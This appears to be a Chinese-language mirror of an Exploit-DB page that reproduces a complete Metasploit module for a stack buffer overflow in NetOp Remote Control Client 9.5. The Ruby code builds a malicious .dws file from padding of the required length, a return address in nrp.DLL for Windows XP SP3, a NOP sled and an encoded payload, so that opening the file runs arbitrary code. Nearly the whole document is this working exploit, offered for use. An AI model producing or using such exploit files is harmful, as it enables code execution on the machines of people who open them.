NetOp Remote Control Client 9.5 – Remote Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2012-04-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18697/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = NormalRanking
    
    	include Msf::Exploit::FILEFORMAT
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'NetOp Remote Control Client 9.5 Buffer Overflow',
    			'Description'=> %q{
    					This module exploits a stack-based buffer overflow in NetOp Remote Control 9.5.
    				When opening a .dws file containing a specially crafted string longer then 520 
    				characters will allow an attacker to execute arbitrary code.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'Ruben Alejandro "chap0"',
    				],
    			'References' =>
    				[
    					[ 'OSVDB', '72291' ],
    					[ 'URL', 'http://www.exploit-db.com/exploits/17223/' ]
    				],
    			'DefaultOptions' =>
    				{
    					'ExitFunction' => 'process',
    					'DisablePayloadHandler' => 'true'
    				},
    			'Platform' => 'win',
    			'Payload'=>
    				{
    					'Space' => 2000,
    					'BadChars' => "\x00\x0a\x0d",
    					'DisableNops' => true,
    					'StackAdjustment' => -3500
    				},
    			'Targets'=>
    				[
    					[ 'Windows XP SP3',
    						{
    							'Ret' => 0x20d6c32c,# push esp #ret- nrp.DLL
    							'Offset' => 524
    						}
    					]
    				],
    			'Privileged' => false,
    			'DisclosureDate' => 'Apr 28 2011',
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptString.new('FILENAME', [ true, 'The file name.', 'msf.dws']),
    			], self.class)
    
    	end
    
    	def exploit
    		buffer =rand_text(target['Offset'])
    		buffer << [target.ret].pack('V')
    		buffer << make_nops(30)
    		buffer << payload.encoded
    
    		file_create(buffer)
    	end
    
    end